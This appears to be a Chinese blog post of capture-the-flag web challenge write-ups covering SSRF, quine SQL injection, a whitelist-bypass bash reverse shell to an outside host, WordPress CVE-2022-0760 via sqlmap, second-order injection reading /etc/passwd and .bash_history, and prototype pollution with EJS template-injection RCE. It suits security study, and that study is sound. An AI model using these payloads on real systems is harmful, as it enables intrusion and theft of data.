NSSCTF web刷题记录7


[SDCTF 2022]CURL Up and Read

考点:SSRF

打开题目发现是curl命令,提示填入url
尝试http://www.baidu.com,成功跳转
在这里插入图片描述
将url的字符串拿去解码,得到json格式数据
在这里插入图片描述
读取下环境变量,得到flag

{"url":"file:///proc/1/environ"}

在这里插入图片描述

[NUSTCTF 2022 新生赛]Translate

考点:quine注入

打开题目有登录框,F12发现hint
在这里插入图片描述访问一下
在这里插入图片描述

存在filter() 函数可以用于访问 php://filter 伪协议来处理文件
简单测试下,过滤了string,base64。那么我们换个过滤器即可

php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php

得到源码
在这里插入图片描述考点就是quine注入
发现过滤了char(chr试过但是无回显)
那么用0x绕过
payload

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#')#

但是发现事不过三
在这里插入图片描述
应该是对replace的过滤,我们大小写绕过

username=admin&password=1'/**/union/**/select/**/replace(REPLACE('1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')#

得到flag
在这里插入图片描述

[安洵杯 2020]BASH

源码

 <?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
    $test = $_POST['cmd'];
    $white_list = str_split('${#}\\(<)\'0'); 
    $char_list = str_split($test);
    foreach($char_list as $c){
        if(!in_array($c,$white_list)){
                die("Cyzcc");
            }
        }
    exec($test);
}
?>

规定了白名单然后是无回显RCE
参考大佬的构造脚本反弹shell

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"                 #${!#}与$0等效
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

# def get_flag(url,payload):                          #盲注函数
#     try:
#         data = {'cmd':payload}
#         r = requests.post(url,data,timeout=1.5)
#     except:
#         return True
#     return False

# 弹shell
print(build('bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "http://ip/"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)

成功反弹
在这里插入图片描述
得到flag
在这里插入图片描述

[GXYCTF 2019]StrongestMind

提交1000次即可得到flag
关键点在于计算要延续上一次结果,不然脚本就会一直是第一次成功
所以我们先提交一次得到res.text的结果,然后循环计算

脚本

import re
import requests
import time

url = 'http://node4.anna.nssctf.cn:28509/index.php'
session=requests.session()
req = session.get(url)
result = re.findall("<br><br>(\d.*?)<br><br>",req.text)
result = "".join(result)
result = eval(result)
data={"answer":result}
res = session.post(url,data)

for i in range(1000):
    result=re.findall("<br><br>(\d.*?)<br><br>",res.text)
    result="".join(result)
    result=eval(result)
    data={"answer":result}
    res = session.post(url,data)
    res.encoding="utf-8"
    print(str(i))

    if "NSSCTF" in res.text:
        print("计算完成")
        print(res.text)
        break

    time.sleep(0.1)  

在这里插入图片描述

[BJDCTF 2020]Mark loves cat

(用的是buu的靶机)
打开题目,扫一下发现git泄露
在这里插入图片描述得到源码

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}
foreach($_GET as $x => $y){
    $$x = $$y;
}
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

直接foreach变量覆盖,用 if($_GET['flag'] === $x && $x !== 'flag')

?handsome=flag&flag=handsome

在这里插入图片描述

[HNCTF 2022 WEEK2]ohmywordpress

考点:CVE-2022-0760

打开发现是wordpress,F12看下源码找到version
在这里插入图片描述查找一番发现存在CVE-2022-0760漏洞

在这里插入图片描述
直接用sqlmap时间盲注

sqlmap -u "http://node5.anna.nssctf.cn:28191/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" --dbs

成功注出来数据库
在这里插入图片描述
得到flag

sqlmap -u "http://node5.anna.nssctf.cn:28191/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" -D ctftraining -T flag -C "flag" --dump

在这里插入图片描述

[极客大挑战 2020]rceme

打开题目,F12有提示
在这里插入图片描述

看来要用vim恢复备份文件,访问/.index.php.swp
然后复制到kali,命令行输入vim -r index.php.swp即可
在这里插入图片描述

分析一下,要求code的数经过MD5加密后前五位要满足session的code值;然后无字母数字和部分字符RCE,并且是无参的

我们在源码发现code要满足的前五位会告诉我们
在这里插入图片描述
我们用脚本爆破

import hashlib

for i in range(1,1000000000):
    str1=hashlib.md5(str(i).encode("UTF-8")).hexdigest()
    if(str1[0:5]=='574bb'):
        print(i)
        print(str1)
        break

然后命令执行的话,发现取反字符没被过滤,试试构造phpinfo();

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

成功执行

在这里插入图片描述
那么构造如下

system(next(getallheaders()));

在User-Agent处添加命令即可
在这里插入图片描述

[网鼎杯 2018]comment

考点:git源码恢复、二次注入

扫一下目录,发现有git泄露
直接用git_extract(githack得到的源码不全)
在这里插入图片描述
git_extract直接把不全的源码恢复了

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

分析一下,首先要登陆成功然后有发帖和留言的功能。
发帖的时候会对三个参数都进行addslashes处理,也就是会转义,比如上传1'并不会闭合前面的单引号。而留言的时候可以发现并没有对category进行转义处理,那么我们就可以利用二次注入

登陆账号和密码告诉我们

zhangwei
zhangwei***

直接拿bp爆破就行了,得到666

//假设我们发帖内容为
category=1',content=user(),/*
titie=114514
content=*/

//write发帖插入数据后(注意这里category的单引号因为转义并不会闭合)
$sql = "insert into board
            set category = '1',content=user(),/*',
                title = '114514',
                content = '*/'";
                
//comment留言传参content=*/#
$sql = "insert into comment
            set category = '1',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

//由于这里category不会被转义所以成功
$sql = "insert into comment
            set category = '1',
            	content=user(),
                bo_id = '$bo_id'";

成功执行
在这里插入图片描述
我们试试读取文件

category=1',content=load_file('/etc/passwd'),/*
content=*/

然后再留言注释掉
content=*/#

在这里插入图片描述可以看到www用户的home目录,接下来可以看一下该用户的历史操作。

1',content=load_file('/home/www/.bash_history'),/*

发现对文件.DS_Store进行了删除
在这里插入图片描述
那么/tmp/html下面应该还存在.DS_Store
同时因为这是二进制文件,我们加个hex编码,payload为

1',content=hex(load_file('/tmp/html/.DS_Store')),/*

十六进制解码一下,发现flag文件
在这里插入图片描述直接读取即可

1', content=(hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

在这里插入图片描述

[HGAME 2023 week4]Shared Diary

考点:原型链污染,ejs模板注入

源码如下

const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();

function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))

app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
        } catch (e) {
            return res.render("login", {message: "Don't pollution my shared diary!"})
        }
        req.session.data = data

        // check password
        let user = {};
        user.password = req.body.password;
        if (user.password=== "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        }else {
            return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
        } 
    }
    res.render('login', {message: ""});
});

app.all('/', (req, res) => {
    if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
        return res.redirect("/login")
    }
    if (req.method == 'POST') {
        let diary = ejs.render(`<div>${req.body.diary}</div>`)
        req.session.diary = diary
        return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
    }
    return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})


app.listen(8888, '0.0.0.0');

存在merge函数可以进行原型链污染,但是过滤了__proto__可以用constructor.prototype代替;/login路由下存在原型链污染漏洞,创建变量,检测role值是否为admin,如果是则跳转到跟路由;/路由下存在ejs模板注入

题目可以解析通过 POST 请求发送的 JSON 数据。

.use(bodyParser.json());

所以payload如下

{
    "username":"admin",
    "password":"123456",
    "constructor":{
        "prototype":{
            "role":"admin"
        }
    }
}

bp抓包,修改Content-Type为json,成功得到session
在这里插入图片描述
然后用此session登录即可,直接访问跟路由
在这里插入图片描述
利用代码

 let diary = ejs.render(`<div>${req.body.diary}</div>`)

ejs.render() 存在SSTI漏洞 可以插⼊<%- %>标签来执行任意js,能够直接完成RCE
payload

<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_73512445/article/details/134922142
今日推荐